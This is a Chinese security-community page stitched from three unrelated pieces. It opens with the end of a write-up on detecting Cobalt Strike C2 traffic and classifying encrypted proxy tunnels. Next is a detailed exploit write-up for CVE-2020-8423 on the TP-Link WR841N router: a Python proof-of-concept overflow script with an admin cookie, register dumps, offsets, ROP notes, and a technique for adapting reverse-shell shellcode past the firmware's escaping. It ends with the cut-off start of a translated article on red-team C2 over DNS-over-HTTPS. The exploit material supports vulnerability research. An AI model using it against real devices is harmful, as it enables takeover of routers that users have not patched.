1. 这道题对于实际应用的启发在于，怎样从大流量中快速的进行白流量筛选，这是一个值得研究的课题；同时，有些样本为了隐藏心跳行为，可能会引入抖动，恶意心跳行为的发现，对于自动识别可疑流量也是十分有价值的。
## 二、攻击指令识别
### 0．题目解读
HTTP、DNS、HTTPS三题，都需解决pcap包中流量与指令序列的映射问题。
### 1\. C2通信特征
观察Beacon与Teamserver的通信特征，由于失陷主机与攻击者间通过 CS
TeamServer间接通信，因此CS的命令控制信道中，存在心跳请求、拉取指令 和 回传响应
的通信模式。如图所示是Beacon与Teamserver的通信特征，可以直观的看到Server下发任务，获取失陷主机POST响应的通信行为。
### 2\. HTTP 指令隧道
在CS通信特征调研的过程中，发现HTTP指令流量中Referer字段为`http://code.jquery.com`：
据此推断攻击者在借助Cobalt
Strike的Malleable-C2-Profiles配置文件自定义通信流量，来对抗流量检测。攻击者通过加载定制的配置文件（如此处使用到的jquery.profile模板）来改变目标主机与Server端的流量特征，将通信流量伪装、混淆成正常通信。
HTTP隧道的控制命令隐藏在JS脚本中的P变量，回传响应通过POST数据。
其中sleep指令的特征为：经过sleep秒数后会发起心跳GET请求。 此图sleep时长为10s：
根据待识别指令的流量中，统计变量P字节与POST包载荷长度的分布，最终可以得到心跳包+50条指令与序列。
### 3\. DNS 指令隧道
DNS指令的流量特征表现在`TXT记录响应`和`带POST`的A记录请求中，其中其中TXT记录是失陷主机拉取TeamServer上的指令后，服务端下发的命令；而失陷主机带POST的A记录请求，是命令执行后的回传信息。其中存在的上下行包分布统计如下图。统计待识别流量最后只得到48个指令，还需要根据心跳间隔的变化加入两个sleep指令。
### 4\. HTTPS 指令隧道
HTTPS指令隧道上，失陷主机与beacon通过TLS会话进行加密通信，其指令的流量特征集中表现在上下行包的载荷长度上，具有下发指令(特定TLS载荷长)-应答(特定范围TLS载荷长)的字节分布特征，其分布如下图所示：
下图是File、Shell上下行载荷长手稿：
## 三、代理隧道分类
阶段一是代理隧道的软件分类，通过强特征形成代理软件的分类树，阶段二是隧道网页的识别，通过流量表征和网站访问行为形成多分类器模型。
### 0\. 代理隧道识别任务概述
该任务旨在对11类加密代理流量进行分类。通过分析每一类有限的流量样本，统计样本的静态特征与时空特征，总结出每一类样本的匹配规则。然后设计了一种基于树模型的推导算法（强特征推理树），将多分类任务具体分解为多个二分类任务，最后将每一个测试样本归类到某个具体的类别上。推理树的每一个二叉结点都具有将当前类别二分类的强特征规则，因此该算法能够同时具有高准确度与高运行效率。
下面介绍该方法的分析步骤与推导算法的具体实现。
### 1\. 代理隧道特征分析
#### 1.1 协议总体分析
首先，我们分别对11类样本的高层通信协议进行了分析。如图
1所示，我们分析了每一类样本的协议组成，分别计数了UDP，TCP与TLS包的数量。可以看到，`0,6,8`类样本包含了UDP包，其中`0,8`类样本只包含了UDP包。同时`1,2,3,6,10`类样本包含了同时包含TCP与TLS包，`4,5,7,9`只包含了TCP包，并没有包含TLS包。
11种不同的代理软件分别通过UDP、标准TLS加密协议以及私有加密协议进行隧道通信。11类样本的通信协议分布如下图：
#### 1.2 UDP-based流量分析
分析通过UDP进行隧道通信的样本流量（`0,6,8`类样本）。在图
2中，我们展示了这三类样本基于UDP协议的应用层协议。其中，`0`类样本无法识别具体的应用层协议，判断为UDP私有协议通信。`6`样本具有少量的OCSP包。`8`样本的UDP载荷为WireGuard包，该样本通过该协议进行隧道通信。UDP通信样本类别的协议如下图：
#### 1.3 TCP-based流量分析
分析基于TCP的样本流量数据。由之前的分析可知，基于TCP的通信流量基本分为两类——TLS标准加密通信与TCP私有协议加密通信。分别对应`1,2,3,10`类样本与`4,5,7,9`类样本。
#### 1.3.1 TCP-based TLS流量分析
对基于TLS标准加密通信的流量数据进行分析。图3展示了`1,2,3,10`类样本的TLS版本包含情况。可以看到，所有的类别的通信都使用TLS1.2进行加密通信，但其中包含的TLS通信包数量比例不尽相同。类别`1`的TLS数据包占比比较高。TLS版本分布如下图：
统计流量样本中的握手信息。Client Hello数量纬度上，`1`类样本中不存在Client Hello报文。`2,3,10`类中均存在Client
Hello包。Client Hello包长统计分布如下图：
统计剩余三类样本的Client Hello的包长，按顺序分别为类别`2,3,10`。发现，三类样本类间包长不同，且类内包长十分统一。`2`的Client
Hello长度为334，`3`为330，`10`为571。
#### 1.3.2 TCP-based 私有协议分析
在流量数据中只存在TCP流量包，而不能识别出具体应用层协议的流量样本类别，推断为私有协议加密的流量（`4,5,7,9`）。
首先，分析了这四类中TCP通信错误包的占比。如下图所示，分析TCP错误包与TCP控制包的占比（错误ACK序列号的响应包数量）。其中，类别`4`的样本包含了大量的Bad
ACK包，而其他类别几乎不含此类通信包，因此可将其视为该类别的强特征。
对于类别`5,7,9`三类流量数据分析训练数据中的包长分布。下图从左到右依次为类别`5,7,9`。其中类别`5`的包长度基本小于1000，集中于300以下，类别`7`的最大包长为1514，类别`9`的最大包长为1478。
以上总结出每一个类的强特征规则，接下来介绍强特征推理算法。
### 1.4 基于强特征的推理树
我们设计了一种针对于该多分类任务的推理算法，将11类分类问题转化为多个二分类任务。每次二分类中，使用一组强特征规则，将类别划分为两种不同的子类。推理树算法的总体流程如下图所示。
**Step1**
：首先将总类别划分为两种子类，基于UDP的流量样本与基于TCP的流量样本，在该步骤中，提取每一个PCAP中每一个分组的传输层协议，基于UDP的划分为`0,6,8`三个子类，基于TCP的划分为`1,2,3,4,5,7,9,10`八个子类。
**Step2** ：对于 **UDP-based**
的流量数据，判断其具体的UDP载荷协议。具有WireGuard协议的通信，判定为0类通信软件产生的流量；包含OCSP协议的通信，为`6`类通信软件产生的流量；未能识别具体载荷协议的判定为`8`。
**Step3** ：对于 **TCP-based**
的流量数据，进一步分为两大子类。通过分析PCAP中的通信协议，将包含了TLS标准加密的PCAP划分到TLS-based的子类中，将只包含TCP包的PCAP划分到私有协议的子类中。
**Step4** ：对于 **TLS-based** 的标准协议流量，进一步使用强特征归类。在此，统计Client
Hello的数量与包长度分布。不具有该类流量包的PCAP认为是1类通信软件产生的。Client
Hello包长度大多为334的PCAP认为是`2`类通信软件产生的，同样的道理，330认为是`3`类软件产生的，571认为是`10`类软件产生的。
**Step5** ：对于 **私有协议加密** 的通信流量，首先计算PCAP中Bad
TCP包数量的占比，占比高于30%的PCAP，认为是`4`类通信软件产生的。剩下的流量归类到`5,7,9`的子类中。
**Step6** ：提取包中 **最大包长的分布**
。对于最大包长集中在1478以下的PCAP，认为是`5`类通信软件产生的，最大包长大多为1478的，是`7`类软件产生的，1514的，认为是`9`类软件产生的。
### 2\. 代理隧道识别总结
强特征的提取是代理软件识别任务的关键，在合适的推理算法下，可以克服训练样本不足的缺点，从而达到高识别率。我们分析了每一个类的强特征，把强特征应用于推理树，将多分类问题转化为更精准的多个二分类任务，获得了较好的分类效果。
### 3\. 隧道网页识别任务概述
加密代理识别的第二阶段，需要分类100个网站的代理流量，首先联想到的是网站指纹，其次是通过流级统计特征去做多分类。网站内容的业务资源的差异会带来传递载荷的区别，这个资源传输量可以构成网页访问的基本指纹，相似的数据量序列可以作为识别网页访问行为的基准。
其中，每一个网站给出的样本不算太多，因此如何从少量样本中学习到正确的特征分布是该分类任务的关键点。借鉴集成学习的思想，提出了一种数据增强的方法，迭代拓展数据集，不断提高模型的泛化能力。使用流统计特征作为流量的表征方法，进一步分析了统计特征的重要程度，并且使用更重要的特征作为流量数据的更优表征形式，进一步提高模型的准确率。
### 4\. 隧道网页流量表征
#### 4.1 表征方法的考虑
机器学习方法与输入特征的选择高度相关，此外，数据集的大小也影响模型的选择。例如，当数据集很小的时候，深度学习方法是不合适的。常用的输入特征和相应的训练模型如下：
##### 时间序列+报头
由于时间序列特性几乎不受加密的影响，因此被广泛应用于各种应用程序和数据集。前几个包(从10到30个包)足以在许多数据集中进行分类，经典的ML算法和MLP模型在表示输入维数的包数较小时表现得很好，对于数量较大的数据包，CNN和LSTM更准确。一般来说，深度模型的计算复杂度和训练时间都高于经典的机器学习算法。
##### Payload+报头
在当前加密流量中，包含握手信息的前几个数据包通常是未加密的，并且已经成功地用于分类。由于输入的高维性(负载中有大量字节)，传统的ML方法和MLP可能并不能很好地工作，但是通常CNN或LSTM却具有高精度。除了有效负载信息外，时间序列特性也有助于提高精度，但这几乎不会改变输入维度或模型的选择。
##### 统计特征
如数据包的包长、时间间隔等，利用统计特征作为输入的维度是有限的，大多使用经典的ML方法，在极少数情况下也使用MLP来实现。一般来说，根据数据集和统计特征的选择，利用前10到180个数据包的统计特征可能就足以进行分类。虽然统计特征可以让我们基于经典的机器学习算法构建一个更简单的分类器，但它可能不适合在线快速分类，因为它需要捕获足够多的数据包才能从流中获得可靠的统计特征。
综上，方案以通信流为基本单位，提取了PCAP中每一个流的统计特征，这些统计特征大致包含每个流的最大包长，最小包长，平均包长，包间隔时间等静态特征。初始的流量表征中一共为80维的静态特征。由于过于高维的表征形式会使得模型的泛化能力不足（高维稀疏特征会产生Outlier），因此需要分析每一维特征的重要系数，筛选重要的特征重组流表征向量，以获得更好的泛化能力。
#### 4.2 特征筛选
初版使用朴素的Random Forest与Decision
Tree进行预训练，得到初始模型，然后，计算每一维特征的重要系数。如图所示，随机森林和决策树得出的重要系数排名中，前20位具有很高的重合率，雷达图中也能很好地反映了这一点。将其交集的前20维特征独立出来，重构流的表征向量。
重要系数排名：
重要系数分布雷达图：
#### 4.3 基于集成学习的数据增强方法
为了解决数据样本不足的问题，我们使用集成学习的方法，迭代增强数据，并且预测数据的正确标签，在实际实施上，该方法取得了不错的分数。模型的大致方法如下，对于初始化的集成模型（集成模型由多个若分类器组成），我们进行迭代训练与预测，得到的每一个分类器的预测集合后，我们将具有共同预测标签的，具有较高置信度的测试样本（共性样本）加入到训练数据库中，增强训练样本后继续训练集成模型，最终达到预测所有待测样本的目标。
### 5\. 模型与增强训练
#### 5.1 初始化模型
在上一节中，我们选择了前20维作为每个流的表征向量。对于同一个PCAP中的每一个流，我们进一步筛选合法的流。我们认为，未完成握手的流为废弃流，在训练前应全部抛弃。这种做法可以排除无关变量对模型的污染。从初始的训练样本中提取的数据样本量较少，初始化的模型准确度不高，因此需要迭代训练。
#### 5.2 模型预测方法
对于一个PCAP文件，我们首先提取其长度合法的通信流，然后，提取每一个流的主要特征（20维主要特征）作为表征方式。集成模型中的每一个分类器分别对PCAP中的每一个流进行预测，得到PCAP中每一个流的标签。接着，模型通过投票机制，得到该PCAP预测最多的类别作为该PCAP的预测类别。
#### 5.3 数据增强
对于集成方法中的每一个分类器，我们得到了其预测集合。模型提取n个集合中的共性样本，作为高置信度的样本加入到原有的训练数据库中。增强的数据库作为新的训练用料，fine-tune现有的集成模型。
#### 5.4 迭代增强与训练
此时，得到增强训练用例后更新训练，使用增强的数据库fine-tune已有参数，使得模型具有更强的泛化能力。
### 6\. 隧道网页识别总结
克服该任务中训练数据量与测试类别量的不匹配问题是提高准确率的重要方法，本方案在给定的训练数据量上迭代增强训练样本，使模型获得更强的泛化能力，在我们多次提交的分数对比能看出，数据增强的集成迭代方法对分类准确率有显著提升（由0.762提升至0.845）。
## 总结
隐匿和检测是一个持续性的对抗过程。面对恶意通信高对抗性的隐蔽手段，攻击者伪装成正常通信，尽量模拟正常通信行为，检测与阻断就变得困难。
加密流量的检测，目前主流的方案仍然是提取数据包或流的统计特征，时序特征，来抽象表征不同种类的流量数据。这种侧信道的方法能有效地识别和分类不同种类的加密流量。
但实验室环境与在实际应用环境是有差距的，侧信道特征被证明在不同的网络环境中有着不同的特征分布，因此如何找到更稳定和可靠的流量行为表征方法，需要进一步研究。
## 参考文献
1. [初探加密流量识别](https://www.secrss.com/articles/14298)
2. [大海捞“帧”：Cobalt Strike服务器识别与staging beacon扫描](https://www.freebuf.com/articles/network/273480.html)
3. [Redirecting Cobalt Strike DNS Beacons](https://medium.com/rvrsh3ll/redirecting-cobalt-strike-dns-beacons-e3dcdb5a8b9b)
4. [浅谈OPSEC和C2](https://mp.weixin.qq.com/s/FIz4-xk093jGN3TOECAgqQ)
5. [Vault 7: Projects](https://wikileaks.org/vault7/document/hive-Operating_Environment/)
6. [吴桦，程光，一种识别QUIC协议加密传输的YouTube DASH视频的方法](https://cyber.seu.edu.cn/_s303/wh/list.psp) | 社区文章 |
# TP-Link WR841N 栈溢出漏洞（CVE-2020-8423）分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> Tower@海特实验室 & H4lo@海特实验室
## 简介
前段时间 TP-LINK TL-WR841N
设备爆出了一个认证后的栈溢出漏洞，借机复现了一下这个栈溢出漏洞，其中有一些在漏洞利用上的小技巧在此和大家分享一下。
漏洞信息如下：
> 漏洞编号：CVE-2020-8423
>
> 漏洞设备：TP-LINK TL-WR841N V10
>
> 漏洞效果：登陆过路由器web服务admin账户之后可以获取到路由器的shell。
>
> 漏洞描述：httpd获取参数时的栈溢出导致了覆盖返回地址shellcode执行
受影响设备以及版本信息：
cpe：2.3：o：tp-link：tl-wr841n_firmware：3.16.9：*：*：*：*：*：*：*
cpe：2.3：h：tp-link：tl-wr841n：v10：*：*：*：*：*：*：*
## 环境搭建
1. 下载固件：<https://www.tp-link.com/no/support/download/tl-wr841n/v10/>
2. binwalk -Me xxx.bin命令对固件进行解压。
3. 为了成功运行环境，必须hook 一些关键函数。编译hook函数，hook掉httpd文件里面的阻塞函数。
参考文章中，实际上只需要hook 掉fork和system函数：
#include <stdio.h>
#include <stdlib.h>
int system(const char *command){
printf("HOOK: system(\"%s\")",command);
return 1337;
}
int fork(void){
return 1337;
}
编译：
mips-linux-gnu-gcc -shared -fPIC hook_mips.c -o hook_mips
运行 qemu 环境
启动 qemu 虚拟机之后，在里面运行，便成功启动调试环境。
mount --bind /proc squashfs-root/proc
chroot . bin/sh
LD_PRELOAD="/hook" /usr/bin/httpd
或者
export LD_PRELOAD="/hook"
./gdbserver 0.0.0.0:2333 /usr/bin/httpd
这里可能会出现一些报错：如没有 libc.so.6 或者 没有ld.so.1，解决方法是需要创建 lib 目录下对应的软连接，ln -s ld-uClibc-0.9.30.so ld.so.1，如图
搭建成功之后访问IP地址即可
如果是远程，没有界面可以使用ssh端口转发
## 漏洞分析
得到文件系统之后，在 /usr/bin/httpd 二进制文件中，找到了这个函数：
int stringModify(char *dest, int len, int src)
{
char src_index;
char *src_index_a_1;
int index;
if ((dest == (char *)0x0) || (src_index_a_1 = (char *)(src + 1), src == 0))
{
index = -1;
}
else {
index = 0;
while (true) {
src_index = src_index_a_1[-1];
if ((src_index == '\0') || (len <= index)) break;/* src为空或当index等于长度时结束 */
if (src_index == '/') { //处理 /
LAB_0043bb48:
*dest = '\\';
LAB_0043bb4c:
index = index + 1;
dest = dest + 1;/* /添加转义字符，变为\/ */
LAB_0043bb54:
*dest = src_index_a_1[-1];
dest = dest + 1;
}
else { //处理其他字符
if ('/' < src_index) {//左斜杠为2F小于0的ascii （处理数字和字母）
if ((src_index == '>') || (src_index == '\\'))
goto LAB_0043bb48;
if (src_index == '<') {
*dest = '\\';
goto LAB_0043bb4c; //>，<，\\变为
\>>,\<<,\//
}
goto LAB_0043bb54;
} //下面是ascii小于x2f的字符
if (src_index != '\r') {//\r的ascii为DH （处理\r,\",\n）
if (src_index == '\"') goto LAB_0043bb48;//22h
if (src_index != '\n') goto LAB_0043bb54;//AH
}
if ((*src_index_a_1 != '\r') && (*src_index_a_1 !=
'\n')) {//处理前一个为\r或\n 后一个不是\r或\n 的组合字符
*dest = '<'; // <br>
dest[1] = 'b';
dest[2] = 'r';
dest[3] = '>';
dest = dest + 4;
}
} //else结束
index = index + 1;//index表示已经拷贝的长度（包含转义字符\）
src_index_a_1 = src_index_a_1 + 1;
}
*dest = '\0';
}
return index;
}
int stringModify(char *dst,size_t size,char *src)
通过分析这个函数，我们可以知道这个函数是用来转义/过滤一些特殊字符，函数处理的整个过程为：
1 . 对\，/，<，>，”这些符号进行转义
2 . 把单独的\r或者\n（单独是指后面没有跟\r或者\n）
3 . 差不多相当于字符串拷贝，只是拷贝的同时对一些字符进行了处理
4 . 原本一个字节的\n会被转义成四个字节的\
很容易dst设置大小不够造成溢出
通过函数交叉引用进行回溯，可以找到 writePageParamSet 函数，这是它的一个调用者，设置dst缓冲区太小造成溢出。
继续往前回溯，找到 0x0457574地址处的函数，这个函数获取get请求的一些参数，调用了漏洞函数：
int UndefinedFunction_00457574(int param_1,undefined4 param_2,int *param_3,undefined4 param_4)
{
__s_00 = (char *)httpGetEnv(param_1,"ssid");
if (__s_00 == (char *)0x0) {
uStack3080 = 0;
}
else {
__n = strlen(__s_00);
strncpy((char *)&uStack3080,__s_00,__n);
}
__s_00 = (char *)httpGetEnv(param_1,"curRegion");
if (__s_00 == (char *)0x0) {
piStack3044 = (int *)0x11;
}
else {
__s = (int *)atoi(__s_00);
if (__s < (int *)0x6c) {
piStack3044 = __s;
}
}
__s_00 = (char *)httpGetEnv(param_1,"channel");
if (__s_00 == (char *)0x0) {
piStack3040 = (int *)0x6;
}
else {
__s = (int *)atoi(__s_00);
if ((int)__s - 1U < 0xf) {
piStack3040 = __s;
}
}
__s_00 = (char *)httpGetEnv(param_1,"chanWidth");
if (__s_00 == (char *)0x0) {
piStack3036 = (int *)0x2;
}
else {
__s = (int *)atoi(__s_00);
if ((int)__s - 1U < 3) {
piStack3036 = __s;
}
}
__s_00 = (char *)httpGetEnv(param_1,"mode");
if (__s_00 == (char *)0x0) {
piStack3032 = (int *)0x1;
}
else {
__s = (int *)atoi(__s_00);
if ((int)__s - 1U < 7) {
piStack3032 = __s;
}
}
__s_00 = (char *)httpGetEnv(param_1,"wrr");
if (__s_00 != (char *)0x0) {
iVar1 = strcmp(__s_00,"true");
if ((iVar1 == 0) || (iVar1 = atoi(__s_00), iVar1 == 1)) {
piStack3028 = (int *)0x1;
}
else {
piStack3028 = (int *)0x0;
}
}
__s_00 = (char *)httpGetEnv(param_1,"sb");
if (__s_00 != (char *)0x0) {
iVar1 = strcmp(__s_00,"true");
if ((iVar1 == 0) || (iVar1 = atoi(__s_00), iVar1 == 1)) {
piStack3024 = (int *)0x1;
}
else {
piStack3024 = (int *)0x0;
}
}
__s_00 = (char *)httpGetEnv(param_1,"select");
if (__s_00 != (char *)0x0) {
iVar1 = strcmp(__s_00,"true");
if ((iVar1 == 0) || (iVar1 = atoi(__s_00), iVar1 == 1)) {
piStack3020 = (int *)0x1;
}
else {
piStack3020 = (int *)0x0;
}
}
__s_00 = (char *)httpGetEnv(param_1,"rate");
if (__s_00 != (char *)0x0) {
iStack3016 = atoi(__s_00);
}
httpPrintf(param_1,
"<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n",
(int *)"pagePara",uVar11);
writePageParamSet(param_1,"\"%s\",",&uStack3080,0);
writePageParamSet(param_1,"%d,",&piStack3044,1);
writePageParamSet(param_1,"%d,",&piStack3040,2);
writePageParamSet(param_1,"%d,",&piStack3036,3);
writePageParamSet(param_1,"%d,",&piStack3032,4);
writePageParamSet(param_1,"%d,",&piStack3028,5);
writePageParamSet(param_1,"%d,",&piStack3024,6);
writePageParamSet(param_1,"%d,",&piStack3020,7);
__s = &iStack3016;
uVar12 = 8;
writePageParamSet(param_1,0x548278);
httpPrintf(param_1,"0,0 );\n</SCRIPT>\n",__s,uVar12);
httpPrintf(param_1,"<script language=JavaScript>\nvar isInScanning = 0;\n</script>",__s,uVar12);
uVar9 = 0;
HttpWebV4Head(param_1,0,0,uVar12);
__s_00 = "/userRpm/WzdWlanSiteSurveyRpm_AP.htm";
}
## 漏洞验证
写了一个 脚本来验证一下：
import requests
import socket
import socks
import urllib
SOCKS5_PROXY_HOST = '127.0.0.1' # socks 代 理 IP地 址 是 用 ssh -D进 行 端 口 转 发 ， 需 要 设 置
代 理
SOCKS5_PROXY_PORT = 9999 # socks 代 理 本 地 端 口
default_socket = socket.socket
socks.set_default_proxy(socks.SOCKS5, SOCKS5_PROXY_HOST, SOCKS5_PROXY_PORT)
socket.socket = socks.socksocket
session = requests.Session()
session.verify = False
def exp(path,cookie):
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))}
payload="/%0A"*0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac"
params = {
"mode":"1000",
"curRegion":"1000",
"chanWidth":"100",
"channel":"1000",
"ssid":urllib.request.unquote(payload)
}
url="http://ip:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".for mat(path=str(path))
resp = session.get(url,params=params,headers=headers,timeout=10)
print (resp.text)
exp("TFDTDFTCUJPCWNEB","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")
使用 wireshark 抓包，查看发送的数据包：
* 注意这里的 ssid 里的内容需要加上 unquote 函数对 %0A 先进行解码，因为 python requests 发送数据包时会默认对参数值进行编码。
结果会发现远程路由器服务崩溃，gdbserver 抛出了 SIGSEGV 的栈溢出信号。
## 漏洞利用
### 使用 mipsrop 插件查找 ROP
崩溃之后，查看上下文环境，查看 pc，sp 寄存器的值确定偏移：
$t6 : 0x61636661 ("afca"?) (a*218+t6)
$t7 : 0x0
$s0 : 0x61616261 ("abaa"?)，实际上是大端，应该是aaba（a*2+s0）
$s1 : 0x61616361 ("acaa"?) (a*6+s1)
$s2 : 0x61616461 ("adaa"?)
$s3 : 0x5
$s4 : 0x0
$s5 : 0x7
$s6 : 0x0
$s7 : 0x0064d6bc → 0x0064e7f4 → 0x000a0003
$t8 : 0x2
$t9 : 0x77faf980 → 0x3c1c0002
$k0 : 0x0
$k1 : 0x0
$s8 : 0x7d7fedf8 → "abwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaac[...]"
$pc : 0x61616561 ("aeaa"?)
$sp : 0x7d7fed50 → "aafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa[...]"
$hi : 0x36c67
$lo : 0x6338ceeb
$fir : 0x739300
$ra : 0x61616561 ("aeaa"?)
$gp : 0x00594d80 → 0x00000000
计算得出偏移：
sp的偏移为 "/%0A"*0x55+ "a"*2+"aaaa"*4
payload="/%0A"*0x55+'a'*2
payload+=s0
payload+=s1
payload+=s2
payload+=pc,ra
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00400000 0x00561000 0x00000000 r-x /usr/bin/httpd
0x00571000 0x00590000 0x00161000 rw- /usr/bin/httpd
0x00590000 0x0066e000 0x00000000 rwx [heap]
0x77e05000 0x77e46000 0x00000000 rw- 0x77e46000 0x77ea3000 0x00000000 r-x /lib/libuClibc-0.9.30.so
0x77ea3000 0x77eb2000 0x00000000 --- 0x77eb2000 0x77eb3000 0x0005c000 r-- /lib/libuClibc-0.9.30.so
0x77eb3000 0x77eb4000 0x0005d000 rw- /lib/libuClibc-0.9.30.so
0x77eb4000 0x77eb9000 0x00000000 rw- 0x77eb9000 0x77ee3000 0x00000000 r-x /lib/libgcc_s.so.1
0x77ee3000 0x77ef3000 0x00000000 --- 0x77ef3000 0x77ef4000 0x0002a000 rw- /lib/libgcc_s.so.1
0x77ef4000 0x77ef6000 0x00000000 r-x /lib/libwpa_ctrl.so
0x77ef6000 0x77f05000 0x00000000 --- 0x77f05000 0x77f06000 0x00001000 rw- /lib/libwpa_ctrl.so
0x77f06000 0x77f07000 0x00000000 r-x /lib/libutil.so.0
0x77f07000 0x77f16000 0x00000000 --- 0x77f16000 0x77f17000 0x00000000 rw- /lib/libutil.so.0
0x77f17000 0x77f18000 0x00000000 r-x /lib/libmsglog.so
0x77f18000 0x77f27000 0x00000000 --- 0x77f27000 0x77f28000 0x00000000 rw- /lib/libmsglog.so
0x77f28000 0x77f29000 0x00000000 r-x /lib/librt.so.0
0x77f29000 0x77f38000 0x00000000 --- 0x77f38000 0x77f39000 0x00000000 rw- /lib/librt.so.0
0x77f39000 0x77f96000 0x00000000 r-x /lib/libc.so.0
0x77f96000 0x77fa5000 0x00000000 --- 0x77fa5000 0x77fa6000 0x0005c000 r-- /lib/libc.so.0
0x77fa6000 0x77fa7000 0x0005d000 rw- /lib/libc.so.0
0x77fa7000 0x77fac000 0x00000000 rw- 0x77fac000 0x77fb9000 0x00000000 r-x /lib/libpthread.so.0
0x77fb9000 0x77fc8000 0x00000000 --- 0x77fc8000 0x77fc9000 0x0000c000 r-- /lib/libpthread.so.0
0x77fc9000 0x77fce000 0x0000d000 rw- /lib/libpthread.so.0
0x77fce000 0x77fd0000 0x00000000 rw- 0x77fd0000 0x77fd1000 0x00000000 r-x /hook_mips
0x77fd1000 0x77fe0000 0x00000000 --- 0x77fe0000 0x77fe1000 0x00000000 r-- /hook_mips
0x77fe1000 0x77fe2000 0x00001000 rw- /hook_mips
0x77fe2000 0x77fe7000 0x00000000 r-x /lib/ld-uClibc.so.0
0x77ff1000 0x77ff5000 0x00000000 rw- /SYSV0000002f (deleted)
0x77ff5000 0x77ff6000 0x00000000 rw- 0x77ff6000 0x77ff7000 0x00004000 r-- /lib/ld-uClibc.so.0
0x77ff7000 0x77ff8000 0x00005000 rw- /lib/ld-uClibc.so.0
0x7d7fd000 0x7d800000 0x00000000 rwx
0x7d9fd000 0x7da00000 0x00000000 rwx
0x7dbfd000 0x7dc00000 0x00000000 rwx
0x7ddfd000 0x7de00000 0x00000000 rwx
0x7dffd000 0x7e000000 0x00000000 rwx
0x7e1fd000 0x7e200000 0x00000000 rwx
0x7e3fd000 0x7e400000 0x00000000 rwx
0x7e5fd000 0x7e600000 0x00000000 rwx
0x7e7fd000 0x7e800000 0x00000000 rwx
0x7e9fd000 0x7ea00000 0x00000000 rwx
0x7ebfd000 0x7ec00000 0x00000000 rwx
0x7edfd000 0x7ee00000 0x00000000 rwx
0x7effd000 0x7f000000 0x00000000 rwx
0x7f1fd000 0x7f200000 0x00000000 rwx
0x7f3fd000 0x7f400000 0x00000000 rwx
0x7f5fd000 0x7f600000 0x00000000 rwx
0x7f7fd000 0x7f800000 0x00000000 rwx
0x7ffd6000 0x7fff7000 0x00000000 rwx [stack]
0x7fff7000 0x7fff8000 0x00000000 r-x [vdso]
在 gdb 调试器中找到libc的基地址，这里主要使用libc.so库来查找rop。
* 关于 ROP 链的构造参考H4lo之前在安全客上发表过的这篇文章：<https://www.anquanke.com/post/id/179510>
总结起来就是一张图：
注意点：
1. 因为cache机制，写进缓冲区的数据会先放到不会立刻存放到栈上，一般解决方案就是如上图调用一个sleep函数。
2. branch delay slot机制使得汇编程序并非一条直线运行下去.
下面汇编语句中的li $a0, 3实际上也会执行
LOAD:0000E204 move $t9, $s1
LOAD:0000E208 jalr $t9 ; sysconf
LOAD:0000E20C li $a0, 3
模拟器内核可能开启了ALSR，方便演示先关闭保护机制：
sudo sh -c "echo '0' > /proc/sys/kernel/randomize_va_space"
### shellcode 查找/构造
贴出两个查找shellcode网站
<http://shell-storm.org/shellcode/files/shellcode-794.php>
<https://www.exploit-db.com/exploits/45541>
直接使用现成的反弹 shell 的 shellcode 发现行不通，原因是程序中对数据有过滤，需要对shellcode修改。
* 对 shellcode 的修改方法主要有两种：
1、同指令替换。
2、进行简单编码。
这里采用指令替换的方法，针对于 lui 指令的字节码为 0x3c（/）的情况下，使用一些无关指令，如填充ori t3,t3,0xff3c指令时，3c
会被编码成 5c3c，那么这时候3c就逃逸到下一个内存空间中，这个 3c 就可以继续使用了（针对于开头为 3c 的汇编指令）。
过程总结如下：
1. 选择一个无用的寄存器 t3，填充 ori $t3, $t3, 0xff3c。对应的汇编字节码为 "\x35\x6b\xff\x3c"
2. 结尾的 \x3c (<)会转义为 \x5c\x3c ，\x3c 就会逃逸到下一个内存空间中
3. 在下一个内存空间中，如果我们需要填充 "\ x3c \ x0f \ x2f \ x2f" //lui $ t7, 0x2f2f 这个语句的话，只需填充 \ x0f \ x2f \ x2f 即可，这样我们就达到了类似指令替换的目的
4. 对于其他被转义的字符也可以类似的操作。
* 对指令进行反汇编时，可以借助 pwntools 的 disasm 模块
from pwn import *
disasm("\x01\xe0\x20\x27",arch="mips",endian="big",bytes=32)
或者是
rasm2工具
rasm2 -a mips -b 32 -e -C ori $t6, $t6, 0xff5c
对于shellcode里面的地址或者/bin/sh httpd文件或者libc.so.0文件里面都会有”/bin/sh”字符串把地址换掉即可（可以绕过对 /
的转义）
这样我们将 shellcode 进行简单的修改之后，就可以成功获取路由器的权限。
* 视频参考：
可点击下放“阅读全文”查看相关视频
## 参考文章
<https://ktln2.org/2020/03/29/exploiting-mips-router/> | 社区文章 |
## 使用DNS over HTTPS（DoH）构建弹性C2基础架构
> 本文翻译自：<https://outflank.nl/blog/2018/10/25/building-> resilient-c2-infrastructues-using-dns-over-https/>
>
> 名词解释：
> 信标:
> 用来宣布802.11网络的存在。Beacon帧中除了包含BSS参数的信息，也包含接入点缓存帧的信息，因此移动式工作站要仔细聆听Beacon信号。
保持对目标网络的可持续访问是防范攻击行为的里程碑之一。在我们的运营期间，我们使用各种类型的短程信标进行日常运营。如果所有短程信标都失败了，那么可以通过返回频率较低的远距离信标可以恢复对目标网络的访问。因此，远距离信标的运行方式应该不会引起蓝军的注意。
### 导读
出于OPSEC(英文为 Open Platform for
